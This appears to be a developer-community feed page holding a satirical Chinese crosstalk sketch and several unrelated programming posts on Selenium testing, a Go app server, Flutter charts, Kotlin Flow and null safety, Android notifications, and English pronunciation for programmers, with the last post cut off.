郭:《我与我父亲》、《父亲下乡》、《父亲回城》、《父亲结婚》、《父亲生活秘史》、《父亲的爱情》、《我的父亲的老丈人》

于:你等会吧!

郭:怎么了?

于:《我的父亲的老丈人》....那你就说是写你姥爷不就得了!费这么大事!

郭:你懂个屁!我说我姥爷谁知道是谁啊?书卖不出去啊!

于:那倒是,您这一辈子就靠您父亲这点儿光环活着呢!

郭:你这就是丧良心,我写这么多书,算上里面的拼音,起码也得有五十万字了,您写的出来?!

于:得,连字儿都写不全,还得用拼音

郭:你这就是嫉妒,你嫉妒没我这么一个好爸爸!

于:您别在这抄便宜啊!是我爸爸没有您爸爸这么好,还是没有您这样的一个好爸爸?

郭:这不是一回事嘛?!

于:差远了!

郭:嗨咱俩计较这些微不足道的事儿干嘛

于:那是,你占便宜当然大度了

郭:我爸爸对我们家真是尽心尽力,呕心沥血,尤其对我,简直是再生父母一样的好啊!

于:您这用词,听着好像您不是亲儿子似的

郭:你别在这起腻啊!不光是我,我媳妇儿都得到我爸爸不少帮助

于:您媳妇也是作家吗?

郭:不是,我媳妇主要是表演舞蹈

于:哦,跳芭蕾的?

郭:不是

于:那是跳拉丁的?

郭:也不是

于:那是民族?

郭:这都什么啊,跟我媳妇儿比不了

于:那您媳妇儿是?

郭:我媳妇吧,以前是在北京一个会所演出

于:然后呢?

郭:后来会所涉黄被关了,就嫁给我了

于:哦合着是跳脱衣舞的啊!

郭:说那么难听!

于:那不就是吗?那您好好意思说您媳妇主要是表演舞蹈!

郭:是啊,只不过不是同一个表

于:是婊子演舞蹈的意思是吗?

郭:我抽你!我媳妇都上我们这的作协晚会了!

于:那甭说,又是您爸爸的功劳

郭:那当然

于:那您媳妇儿这三俗的舞蹈,对社会风气影响也不好啊

郭:那有什么的?我爸爸给在场观众每人发一块白布

于:这干什么用的?

郭:把眼睛蒙上

于:哦,就算是把观众眼睛蒙上也必须让儿媳妇过名人瘾是么?

郭:那当然,我爸爸说了一句至理名言,我听着感动的都不行了

于:怎么说的?

郭:许你们恶心,不许我家里人上不去!

于:去你的吧!

(全文完。本文纯属虚构)

收起阅读 »

python+selenium自动化测试(入门向干货)

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。 我实现的大致流程为: 1 - 准备自动化测试环境 2 - 发起网页请求 3 - 定位元素 4 - 行为链 使用工具:python,selenium,chromedriver...
继续阅读 »

今天带来的是python+selenium自动化测试的入门向教程,也是做个小总结。




我实现的大致流程为:


1 - 准备自动化测试环境

2 - 发起网页请求

3 - 定位元素

4 - 行为链



使用工具:python,selenium,chromedriver,chrom浏览器





操作步骤讲解环节




下面就是喜闻乐见的操作步骤讲解环节了(´◔౪◔)



1、准备自动化测试环境


本次的环境准备较为复杂,但是只要跟着方法走,问题应该也不是很多。

另外,软件包我都整理好了,评论区可见。



  • 准备python环境,这里网上的教程都挺多的,我也就不赘述了。

  • 导入python的第三方扩展包 - selenium,urllib3,jdcal,et_xmlfile(后三个为selenium的依赖包)
安装方法如下:
1)解压后,进入扩展包,shift+右键,在此处打开PowerShell窗口,执行命令
2)python setup.exe install
  • 安装对应版本的chrom浏览器,获取对应版本的chromedriver
这里说的对应版本,是说浏览器的版本需要与chromedriver相对应
我资源里给到的是81版本的chrom浏览器和chromedriver

2、发起网页请求

环境准备好后,就可以发起网页请求验证了。
代码如下:

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
# 设定目的url
url = "https://www.baidu.com/"
# 创建一个参数对象,用来控制chrome以无界面模式打开
chrome_options = Options()
# chrome_options.add_argument('--headless')
# chrome_options.add_argument('--disable-gpu')

# 跳过https安全认证页面
chrome_options.add_argument('--ignore-certificate-errors')
# 创建自己的一个浏览器对象
driver = webdriver.Chrome(chrome_options=chrome_options)
# 访问网页
driver.get(url)
# 等待防止网络不稳定引起的报错
driver.implicitly_wait(5)
# 浏览器全屏显示
driver.maximize_window()

3、定位元素

参考文档:https://python-selenium-zh.readthedocs.io/zh_CN/latest/
代码如下:

1) 根据Id定位,driver.find_element_by_id()
2) 根据 Name 定位,driver.find_element_by_name()
3) XPath定位,driver.find_element_by_xpath()
4) 用链接文本定位超链接,driver.find_element_by_link_text()
5) 标签名定位,driver.find_element_by_tag_name()
6) class定位,driver.find_element_by_class_name()
7) css选择器定位,driver.find_element_by_css_selector()

4、行为链
这里说的操作是指,定位元素后,针对元素进行的鼠标移动,鼠标点击事件,键盘输入,以及内容菜单交互等操作。
参考文档:
https://python-selenium-zh.readthedocs.io/zh_CN/latest/
https://www.cnblogs.com/GouQ/p/13093339.html
代码如下:

1) 鼠标单击事件,find_element_by_id().click()
2) 键盘输入事件,find_element_by_id().send_keys()
3) 文本清空事件,find_element_by_id().clear()
4) 右键点击事件,find_element_by_id().context_click()
5) 鼠标双击事件,find_element_by_id().double_click()


收起阅读 »

环信基于go的APPserver服务搭建

appServer_go环信目前提供两个登录方式 1.账号密码登录2.账号token登录相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务1.创建一个数据库CREATE DAT...
继续阅读 »

appServer_go

环信目前提供两个登录方式 1.账号密码登录2.账号token登录
相比之下token登录更加安全可控,该项目就是为了实现如何在自己的服务器上搭建一个简单的用户登录,注册,音视频token获取的一个服务

1.创建一个数据库

CREATE DATABASE app_server CHARACTER SET utf8mb4;

运行程序会根据model自动创建表

2.配置config.ini文件

chat相关配置可以在console中找到

 

3.iOS工程需要一下改动

   

4.运行appserver 和 ios项目

说明

项目主要实现上面三个接口

下面是安卓的配置(参数配置参数ios)


该项目有详细注释 仅供参考



收起阅读 »

【开源 UI 组件】Flutter 图表范围选择器

前言 最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持 左右拖动调节中间区域 拖拽中间区域,可以进行移动 图表数据根据中间区域的占比进行显示部分数据 这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图...
继续阅读 »

前言


最近有一个小需求:图表支持局部显示,如下底部的区域选择器支持



  • 左右拖动调节中间区域

  • 拖拽中间区域,可以进行移动

  • 图表数据根据中间区域的占比进行显示部分数据





这样当图表的数据量过大,不宜全部展示时,可选择的局部展示就是个不错的解决方案。由于一般的图表库没有提供该功能,这里自己通过绘制来实现以下,操作效果如下所示:





1. 使用 chart_range_selector


目前这个范围选择器已经发布到 pub 上了,名字是 chart_range_selector。大家可以通过依赖进行添加


dependencies:
chart_range_selector: ^1.0.0

这个库本身是作为独立 UI 组件存在的,在拖拽过程中改变区域范围时,会触发回调。使用者可以通过监听来获取当前区域的范围。这里的区域起止是以分率的形式给出的,也就是最左侧是 0 最右侧是 1 。如下的区域范围是 0.26 ~ 0.72



ChartRangeSelector(
height: 30,
initStart: 0.4,
initEnd: 0.6,
onChartRangeChange: _onChartRangeChange,
),

void _onChartRangeChange(double start, double end) {
print("start:$start, end:$end");
}



封装的组件名为: ChartRangeSelector ,提供了如下的一些配置参数:


image.png






























































配置项类型简述
initStartdouble范围启始值 0~1
initEnddouble范围终止值 0~1
heightdouble高度值
onChartRangeChangeOnChartRangeChange范围变化回调
bgStorkColorColor背景线条颜色
bgFillColorColor背景填充颜色
rangeColorColor区域颜色
rangeActiveColorColor区域激活颜色
dragBoxColorColor左右拖拽块颜色
dragBoxActiveColorColor左右拖拽块激活颜色



2. ChartRangeSelector 实现思路分析


这个组件整体上是通过 ChartRangeSelectorPainter 绘制出来的,其实这些图形都是挺规整的,绘制来说并不是什么难事。重点在于事件的处理,拖拽不同的部位需要处理不同的逻辑,还涉及对拖拽部位的校验、高亮示意,对这块的整合还是需要一定的功力的。


image.png


代码中通过 RangeData 可监听对象为绘制提供必要的数据,其中 minGap 用于控制范围的最小值,保证范围不会过小。另外定义了 OperationType 枚举表示操作,其中有四个元素,none 表示没有拖拽的普通状态;dragHead 表示拖动起始块,dragTail 表示拖动终止块,dragZone 表示拖动范围区域。


enum OperationType{
none,
dragHead,
dragTail,
dragZone
}

class RangeData extends ChangeNotifier {
double start;
double end;
double minGap;
OperationType operationType=OperationType.none;

RangeData({this.start = 0, this.end = 1,this.minGap=0.1});

//暂略相关方法...
}



在组件构建中,通过 LayoutBuilder 获取组件的约束信息,从而获得约束区域宽度最大值,也就是说组件区域的宽度值由使用者自行约束,该组件并不强制指定。使用 SizedBox 限定画板的高度,通过 CustomPaint 组件使用 ChartRangeSelectorPainter 进行绘制。使用 GestureDetector 组件进行手势交互监听,这就是该组件整体上实现的思路。





3.核心代码实现分析


可以看出,这个组件的核心就是 绘制 + 手势交互 。其中绘制比较简单,就是根据 RangeData 数据和颜色配置画些方块而已,稍微困难一点的是对左右控制柄位置的计算。另外,三个可拖拽物的激活状态是通过 RangeData#operationType 进行判断的。





也就是说所有问题的焦点都集中在 手势交互 中对 RangeData 数据的更新。如下是处理按下的逻辑,当触电横坐标左右 10 逻辑像素之内,表示激活头部。如下 tag1 处通过 dragHead 方法更新 operationType 并触发通知,这样画板绘制时就会激活头部块,右侧和中间的激活同理。


---->[RangeData#dragHead]----
void dragHead(){
operationType=OperationType.dragHead;
notifyListeners();
}


void _onPanDown(DragDownDetails details, double width) {
double start = width * rangeData.start;
double x = details.localPosition.dx;
double end = width * rangeData.end;
if (x >= start - 10 && x <= end + 10) {
if ((start - details.localPosition.dx).abs() < 10) {
rangeData.dragHead(); // tag1
return;
}
if ((end - details.localPosition.dx).abs() < 10) {
rangeData.dragTail();
return;
}
rangeData.dragZone();
}
}



对于拖手势的处理,是比较复杂的。如下根据 operationType 进行不同的逻辑处理,比如当 dragHead 时,触发 RangeData#moveHead 方法移动 start 值。这里将具体地逻辑封装在 RangeData 类中。可以使代码更加简洁明了,每个操作都有 bool 返回值用于校验区域也没有发生变化,比如拖拽到 0 时,继续拖拽是会触发事件的,此时返回 false,避免无意义的 onChartRangeChange 回调触发。


void _onUpdate(DragUpdateDetails details, double width) {
bool changed = false;
if (rangeData.operationType == OperationType.dragHead) {
changed = rangeData.moveHead(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragTail) {
changed = rangeData.moveTail(details.delta.dx / width);
}
if (rangeData.operationType == OperationType.dragZone) {
changed = rangeData.move(details.delta.dx / width);
}
if (changed) widget.onChartRangeChange.call(rangeData.start, rangeData.end);
}

如下是 RangeData#moveHead 的处理逻辑,_recordStart 用于记录起始值,如果移动后未改变,返回 false。表示不执行通知和触发回调。


---->[RangeData#moveHead]----
bool moveHead(double ds) {
start += ds;
start = start.clamp(0, end - minGap);
if (start == _recordStart) return false;
_recordStart = start;
notifyListeners();
return true;
}



4. 结合图表使用


下面是结合 charts_flutter 图标库实现的范围显示案例。其中核心点是 domainAxis 可以通过 NumericAxisSpec 来显示某个范围的数据,而 ChartRangeSelector 提供拽的交互操作来更新这个范围,可谓相辅相成。



class RangeChartDemo extends StatefulWidget {
const RangeChartDemo({Key? key}) : super(key: key);

@override
State<RangeChartDemo> createState() => _RangeChartDemoState();
}

class _RangeChartDemoState extends State<RangeChartDemo> {
List<ChartData> data = [];

int start = 0;
int end = 0;

@override
void initState() {
super.initState();
data = randomDayData(count: 96);
start = 0;
end = (0.8 * data.length).toInt();
}

Random random = Random();

List<ChartData> randomDayData({int count = 1440}) {
return List.generate(count, (index) {
int value = 50 + random.nextInt(200);
return ChartData(index, value);
});
}

@override
Widget build(BuildContext context) {

List<charts.Series<ChartData, int>> seriesList = [
charts.Series<ChartData, int>(
id: 'something',
colorFn: (_, __) => charts.MaterialPalette.blue.shadeDefault,
domainFn: (ChartData sales, _) => sales.index,
measureFn: (ChartData sales, _) => sales.value,
data: data,
)
];

return Column(
children: [
Expanded(
child: charts.LineChart(seriesList,
animate: false,
primaryMeasureAxis: const charts.NumericAxisSpec(
tickProviderSpec: charts.BasicNumericTickProviderSpec(desiredTickCount: 5),),
domainAxis: charts.NumericAxisSpec(
viewport: charts.NumericExtents(start, end),
)),
),
const SizedBox(
height: 10,
),
SizedBox(
width: 400,
child: ChartRangeSelector(
height: 30,
initEnd: 0.5,
initStart: 0.3,
onChartRangeChange: (start, end) {
this.start = (start * data.length).toInt();
this.end = (end * data.length).toInt();
setState(() {});
}),
),
],
);
}
}

class ChartData {
final int index;
final int value;

ChartData(this.index, this.value);
}

本文就介绍到这里,更多的实现细节感兴趣的可以研究一下源码。谢谢观看 ~


作者:张风捷特烈
链接:https://juejin.cn/post/7134885139980484615
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

这些flow常见API的使用,你一定需要掌握!

collect通知flow执行 public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit...
继续阅读 »

collect通知flow执行


public suspend inline fun <T> Flow<T>.collect(crossinline action: suspend (value: T) -> Unit): Unit =
collect(object : FlowCollector<T> {
override suspend fun emit(value: T) = action(value)
})

flow是冷流,只有调用collect{}方法时才能触发flow代码块的执行。还有一点要注意,collect{}方法是个suspend声明的方法,需要在协程作用域的范围能调用。


除此之外,collect{}方法的参数是一个被crossinline修饰的函数类型,旨在加强内联,禁止在该函数类型中直接使用return关键字(return@标签除外)。


fun main() {
GlobalScope.launch {
flow {
emit("haha")
}.collect {

}
}
}

launchIn()指定协程作用域通知flow执行


public fun <T> Flow<T>.launchIn(scope: CoroutineScope): Job = scope.launch {
collect() // tail-call
}

这个方法允许我们直接传入一个协程作用域的参数,不需要直接在外部开启一个协程执行。本质上就是使用我们传入的协程作用域手动开启一个协程代码块调用collect{}通知协程执行。


这里看官方的源码有个tail-call的注释,也就是尾调用的意思,猜测这里可能官方会在这里进行了优化,减少了栈中方法调用的层级,降低栈溢出的风险。


fun main() {
flow {
emit("haha")
}.launchIn(GlobalScope)
}

catch{}捕捉异常


public fun <T> Flow<T>.catch(action: suspend FlowCollector<T>.(cause: Throwable) -> Unit): Flow<T> =
flow {
val exception = catchImpl(this)
if (exception != null) action(exception)
}

这个就是用来捕捉异常的,不过注意,只能捕捉catch()之前的异常,下面来个图阐述下:


image.png

即,只能捕捉第一个红框中的异常,而不能捕捉第二个红框中的异常。


merge()合流


public fun <T> merge(vararg flows: Flow<T>): Flow<T> = flows.asIterable().merge()

最终的实现类如下:


image.png


请注意,这个合流的每个流可以理解为是并行执行的,而不是后一个流等待前一个流中的flow代码块中的逻辑执行完毕再执行,这样做的目的可以提供合流的每个流的执行效果。


测试代码如下:


fun main() {
GlobalScope.launch {
merge(flow {
delay(1000)
emit(4)
}, flow {
println("flow2")
delay(2000)
emit(20)
}).collect {
println("collect value: $it")
}
}
}

输出日志如下:


image.png


map{}变换发送的数据类型


public inline fun <T, R> Flow<T>.map(crossinline transform: suspend (value: T) -> R): Flow<R> = transform { value ->
return@transform emit(transform(value))
}

这个api没什么可将的,很多的地方比如集合、livedata中都有它的影子,它的作用就是将当前数据类型变换成另一种数据类型(可以相同)。


fun main() {
GlobalScope.launch {
flow {
emit(5)
}.map {
"ha".repeat(it)
}.collect {
println("collect value: $it")
}
}
}

总结


本篇文章介绍了flow常见的api,接下来还会有一些列文章用来介绍flow的其他api,感谢阅读。


作者:长安皈故里
链接:https://juejin.cn/post/7134478501612093471
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

程序员最容易读错的单词,听到status我炸了

这个死太丢死不太对,需要改一下。。。看着他疑惑不解的眼神,我当时的表情。。。好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看...
继续阅读 »

最近在跟同事讨论问题的时候,他突然对我说。。。

这个死太丢死不太对,需要改一下。。。

我当时应该是愣住了,然后想了一下,你说的是 status 吗???

看着他疑惑不解的眼神,我当时的表情。。。


好吧,好吧,我承认我低估了我们理科同志们的文科英语水平,以至于我发现,我这些年不也是这样水深火热的过来的嘛。

于是,带着好奇、疑惑和忐忑的心情,我重新 Google、百度了一遍那些我觉得不太确认的单词到底怎么读,结果简直颠覆了我的三观。。。

我不想直接贴个列表给大家看,我要带你们一个一个,一个两个,一个三个的仔细看看他喵的怎么读的。。。

status

这玩意儿你以为我嘲讽了同事吗?

不是,我是嘲讽了自己的无知。

他娘的,他不读死太丢死,也不读死特丢死

他读,【ˈstæɾəs】或者是【ˈsteɪtəs】 ,不会读,但是我相信大家音标还是看的明白的。

这里就请原谅我无法用文字来读出声音给大家。

Mysql

OK,请看下一题,我想这个读音大家好像约定俗称了一样,就是卖色扣

其实,我觉得他跟app这玩意儿一样啊,有些人非要读啊扑也无所谓,我就一个个单词读APP你咬我呢。

Mysql性质也差不多,你读卖S Q L我觉得也没毛病。

但,官方的意思和APP这玩意儿一样,希望大家读的是My Sequel

Linux

这个我估摸着也是重灾区,因为我一直读了好多年的力扭克思,这一条中了的请扣一波1111111。

实际上,别人真不这么读,我还是被一个刚读大一的朋友纠正的。。

正确读音:【'lɪnəks】,力呢渴死。

Integer

好了,这个读音我相信你的同事之中可能就没几个读对的。。。

因太哥儿因特哥儿。。。

正确读音:【'ɪntɪdʒə】,因题绝儿。

我非常相信,你现在知道了怎么读,明天又会回到原来的样子,因为就在刚才我又自己读成了因特绝儿。。。

OK,OK

好了,好了,剩下的我就不一一再说了,我直接列几个吧,我觉得很多人估计得疯了,和我一样!

  1. height:这玩意儿hi特,别读黑特,这个错的人不多,讲道理。

  2. width:这个有点离谱了,大家应该都读歪思,好嘛,人家读【wɪtθ】,和with差不多,我直到今天才知道我错了。

  3. margin:这个但凡接触过前端的都懂啊,马哥因对吧,好点的会连读,但是也错了,读【'mɑːdʒɪn】,马军。。。

  4. maven:别读马文了,读meɪvn,读美文

  5. Deque:你以为和队列 queue 一样,读地Q吗,人家读【'dek】德克。

  6. facade:这个真的因为可能看起来太奇怪了,所以好像没什么人读错,【fə'sɑːd】门面装配。

  7. safari:这个读音真的很奇怪啊,中国人普遍读萨佛来,其实应该读【sə'fɑːrɪ】,别说了,就是拗口,我大概是改不过来了。。。

... ...

好了,好了,就这样吧,其实我觉得除了读死太丢死真的就泥马离谱之外,其他的我我觉得都问题不大!

别说那些了,就说最简单的,Java你读对了吗?


作者:艾小仙
来源:juejin.cn/post/7134344758268264478

收起阅读 »

Android通知 Notification的简单使用

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。Demo下载创...
继续阅读 »

在Android应用的开发中,必然会遇上通知的开发需求,本文主要讲一下Android中的通知 Notification的简单基本使用,主要包含创建通知渠道、初始化通知、显示通知、显示图片通知、通知点击、以及配合WorkManager发送延迟通知。

Demo下载

创建通知渠道

首先,创建几个常量和变量,其中渠道名是会显示在手机设置-通知里app对应展示的通知渠道名称,一般基于通知作用取名。

    companion object {
//渠道Id
private const val CHANNEL_ID = "渠道Id"

//渠道名
private const val CHANNEL_NAME = "渠道名-简单通知"

//渠道重要级
private const val CHANNEL_IMPORTANCE = NotificationManager.IMPORTANCE_DEFAULT
}

private lateinit var context: Context

//Notification的ID
private var notifyId = 100
private lateinit var manager: NotificationManager
private lateinit var builder: NotificationCompat.Builder

然后获取系统通知服务,创建通知渠道,其中因为通知渠道是Android8.0才有的,所以增加一个版本判断:

        //获取系统通知服务
manager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
//创建通知渠道,Android8.0及以上需要
createChannel()
    private fun createChannel() {
//创建通知渠道,Android8.0及以上需要
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) {
return
}
val notificationChannel = NotificationChannel(
CHANNEL_ID,
CHANNEL_NAME,
CHANNEL_IMPORTANCE
)
manager.createNotificationChannel(notificationChannel)
}

初始化通知

先生成NotificationCompat.Builder,然后初始化通知Builder的通用配置:

        builder = NotificationCompat.Builder(context.applicationContext, CHANNEL_ID)
initNotificationBuilder()
    /**
* 初始化通知Builder的通用配置
*/
private fun initNotificationBuilder() {
builder
.setAutoCancel(true) //设置这个标志当用户单击面板就可以让通知自动取消
.setSmallIcon(R.drawable.ic_reminder) //通知的图标
.setWhen(System.currentTimeMillis()) //通知产生的时间,会在通知信息里显示
.setDefaults(Notification.DEFAULT_ALL)
}

此外builder还有setVibrate、setSound、setStyle等方法,按需配置即可。

显示通知

给builder设置需要通知需要显示的title和content,然后通过builder.build()生成生成通知Notification,manager.notify()方法将通知发送出去。

    fun configNotificationAndSend(title: String, content: String){
builder.setContentTitle(title)
.setContentText(content)
val notification = builder.build()
//发送通知
manager.notify(notifyId, notification)
//id自增
notifyId++
}

最简单的通知显示至此上面三步就完成了。

效果如下图:

image.png

显示图片通知

当通知内容过多一行展示不下时,可以通过设置

builder.setStyle(NotificationCompat.BigTextStyle().bigText(content)) //设置可以显示多行文本

这样通知就能收缩和展开,显示多行文本。 另外setStyle还可以设置图片形式的通知:

setStyle(NotificationCompat.BigPictureStyle().bigPicture(BitmapFactory.decodeResource(resources,R.drawable.logo)))//设置图片样式

效果如下图:

image.png

通知点击

目前为止的通知还只是显示,因为设置了builder.setAutoCancel(true),点击通知之后通知会自动消失,除此之外还没有其他操作。 给builder设置setContentIntent(PendingIntent)就能有通知点击之后的其他操作了。PendingIntent可以看作是对Intent的一个封装,但它不是立刻执行某个行为,而是满足某些条件或触发某些事件后才执行指定的行为。PendingIntent获取有三种方式:Activity、Service和BroadcastReceiver获取。通过对应方法PendingIntent.getActivity、PendingIntent.getBroadcast、PendingIntent.getService就能获取。 这里就示例一下PendingIntent.getBroadcast和PendingIntent.getActivity

PendingIntent.getBroadcast

首先创建一个BroadcastReceiver:

class NotificationHandleReceiver : BroadcastReceiver() {
companion object {
const val NOTIFICATION_HANDLE_ACTION = "notification_handle_action"
const val NOTIFICATION_LINK = "notificationLink"
const val TAG = "NotificationReceiver"
}

override fun onReceive(context: Context, intent: Intent?) {
if (intent?.action == NOTIFICATION_HANDLE_ACTION) {
val link = intent.getStringExtra(NOTIFICATION_LINK)
}
}
}

别忘了在清单文件中还需要静态注册BroadcastReceiver:

    <receiver
android:name=".NotificationHandleReceiver"
android:exported="false">
<intent-filter>
<action android:name="notification_handle_action" />
</intent-filter>
</receiver>

然后创建一个上面BroadcastReceiver的Intent,在intent.putExtra传入相应的点击通知之后需要识别的操作:

   fun generateDefaultBroadcastPendingIntent(linkParams: (() -> String)?): PendingIntent {
val intent = Intent(NotificationHandleReceiver.NOTIFICATION_HANDLE_ACTION)
intent.setPackage(context.packageName)
linkParams?.let {
val params = it.invoke()
intent.putExtra(NotificationHandleReceiver.NOTIFICATION_LINK, params)
}
return PendingIntent.getBroadcast(
context,
notifyId,
intent,
PendingIntent.FLAG_IMMUTABLE
)
}

这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,NotificationHandleReceiver的onReceive里就会收到信息了,根据信息处理后续操作即可。

PendingIntent. getActivity

Activity的PendingIntent用于跳转到指定activity,创建一个跳转activity的Intent(同普通的页面跳转的Intent),也是同上面在intent.putExtra传入相应的点击通知之后需要识别的操作:

        val intent = Intent(this, XXXX::class.java).apply {
putExtra("title", title).putExtra("content", content)
}
return PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)

也是这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,就会跳转到对应的activity页面,然后intent里就会收到信息了,根据信息处理后续操作即可。

Android12之PendingIntent特性

行为变更:以 Android 12 为目标平台的应用

查看上面关于Android12的特性

在Android12平台上有关于PendingIntent的两点特性:

  • 一是待处理 intent 可变性,必须为应用创建的每个 PendingIntent 对象指定可变性,这也是上面创建PendingIntent时需要设置flag为PendingIntent.FLAG_IMMUTABLE。
  • 二是通知 trampoline 限制,以 Android 12 或更高版本为目标平台的应用无法从用作通知 trampoline 的服务广播接收器中启动 activity。换言之,当用户点按通知或通知中的操作按钮时,您的应用无法在服务或广播接收器内调用 startActivity()。所以当需要点击通知实现activity跳转时,需要使用PendingIntent. getActivity,而不是使用PendingIntent.getBroadcast,然后在BroadcastReceiver里实现activity跳转,后者方式在Android 12 或更高版本为目标平台的应用中将被限制。

配合WorkManager发送延迟通知

配合上WorkManager,就能实现发送延迟通知,主要是通过OneTimeWorkRequest的延迟特性。

创建一个延迟的OneTimeWorkRequest,加入WorkManager队列中:

    fun sendWorkRequest(
context: Context,
reminderId: Int,
title: String,
content: String,
link: String,
triggerTime: Long
): OneTimeWorkRequest {
val duration = triggerTime - System.currentTimeMillis()
val data =
Data.Builder().putInt(REMINDER_WORKER_DATA_ID, reminderId).putString(REMINDER_WORKER_DATA_TITLE, title)
.putString(REMINDER_WORKER_DATA_CONTENT, content).putString(REMINDER_WORKER_DATA_LINK, link)
.build()
val uniqueWorkName =
"reminderData_${reminderId}"
val request = OneTimeWorkRequest.Builder(ReminderWorker::class.java)
.setInitialDelay(duration, TimeUnit.MILLISECONDS)
.setInputData(data)
.build()
WorkManager.getInstance(context)
.enqueueUniqueWork(uniqueWorkName, ExistingWorkPolicy.REPLACE, request)
return request
}

然后在doWork方法中拿到数据进行我们上面的通知发送显示即可。具体关于OneTimeWorkRequest的使用在本文中就不详细说明了。当需要发送延迟通知时,知道可以通过配合WorkManager实现。

Android13 通知权限

在目前最新的Android 13(API 级别 33)上对于通知增加了权限限制,具体可看官方描述:

通知运行时权限


作者:愿天深海
链接:https://juejin.cn/post/7134229758179016717
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

浅谈Kotlin编程-Kotlin空值处理

前言 许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。 开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免...
继续阅读 »

前言


许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。


开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免出现空指针异常,引入了 Null机制,本篇就来了解一下Kotlin中的 Null机制


本文总览


Kotlin空值处理.png


1. 可空类型变量(?)


Kotlin中把变量分成了两种类型



  • 可空类型变量

  • 非空类型变量


通常,一个变量默认是非空类型。若要变量的值可以为空,必须在声明处的数据类型后添加 ? 来标识该变量可为空。如下示例:


var phone: String   //声明非空变量 
var price: Int? //声明可空变量

上述代码中,phone 为非空变量,price 为可空变量。若给变量name赋值为null,编译器会提示“Null can not be a value of a non-null type String”错误信息。引起这个错误的原因是Kotlin官方约定变量默认为非空类型时,该变量不能赋值为null, 而price 赋值为null,编译可以通过。


声明可空变量时,若不知道初始值,则需将其赋值为null,否则会报“variable price must be initialized”异常信息。


通过一段示例代码来学习如何判断变量是否为空,以及如何使用可空变量:


fun main() {
var name: String = "Any" // 非空变量
var phone: String? = null // 可空变量
if (phone != null) {
print(phone.length)
} else {
phone = "12345678901"
print("phone = " + phone)
}
}

运行结果:


phone = 12345678901

上述代码,定义一个非空变量 name,一个可空变量 phone。这段示例代码对可空变量进行判断,如果 phone 不为空则输出 phone的长度,否则将phone赋值为12345678901并打印输出。


2. 安全调用符(?.)


上一点的示例中,可空变量在使用时需要先通过if…else判断,然后再进行相应的操作,这样使用还是比较繁琐。Kotlin提供了一个安全调用符?.,用于调用可空类型变量中的成员方法或属性,语法格式为“变量?.成员”。其作用是先判断变量是否为null,如果不为null才调用变量的成员方法或者属性。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length
println(result)
}

运行结果:


null

结果可以看出,在使用?.调用可空变量的属性时,若当前变量为空,则程序编译正常运行,且返回一个null值。


3. Elvis操作符(?:)


安全调用符调用可空变量中的成员方法或属性时,如果当前变量为空,则返回一个null值,但有时不想返回一个null值而是指定一个默认值,该如何处理呢?Kotlin中提供了一个Elvis操作符(?:),通过Elvis操作符(?:)可以指定可空变量为null时,调用该变量中的成员方法或属性的返回值,其语法格式为 表达式 ?: 表达式 。若左边表达式非空,则返回左边表达式的值,否则返回右边表达式的值。


fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length ?: "12345678901"
println(result)
}

运行结果:


12345678901

从结果可以看出,当变量phone为空时,使用?:操作符会返回指定的默认值“12345678901”,而非null值。


4. 非空断言(!!.)


除了使用安全调用符(?.)来使用可空类型的变量之外,还可以通过非空断言(!!.)来调用可空类型变量的成员方法或属性。使用非空断言时,调用变量成员方法或属性的语法结构为 “变量!!.成员” 。非空断言(!!.)会将任何变量(可空类型变量或者非空类型变量)转换为非空类型的变量,若该变量为空则抛出异常。接下来我们通过一个例子来演示非空断言(!!.)的使用,具体代码如下所示。


fun main() {
var phone: String? = null // 声明可空类型变量
var result = phone!!.length // 使用非空断言
println(result)
}

运行结果:


Exception in thread"main"kotlin.KotlinNullPointerException
at NoEmptyAssertionKt.main
(NoEmptyAssertion.kt:4)

运行结果抛出了空指针异常,若变量phone赋值不为空,则程序可以正常运行。

安全调用符与非空断言运算符都可以调用可空变量的方法,但是在使用时有一定的差别,如表所示。






















操作符安全是否推荐
安全调用符(?.)当变量值为null时,不会抛出异常,更安全推荐使用
非空断言(!!)当变量值为null时,会抛出异常,不安全可空类型变量经过非空断言后,这个变量变为非空变量,非空变量为null时,会报异常,不推荐

总结


上面四种情况的介绍,可以说的很全面地囊括 kotlin 中的空处理情况,开发中应根据实际场景使用合适的操作符。


作者:南巷羽
链接:https://juejin.cn/post/7134636916514750495
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Compose制作一个“IOS”效果的SwitchButton

本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法: @Composeable fun IosSwitchButton( modifier: Modifier, checked: B...
继续阅读 »

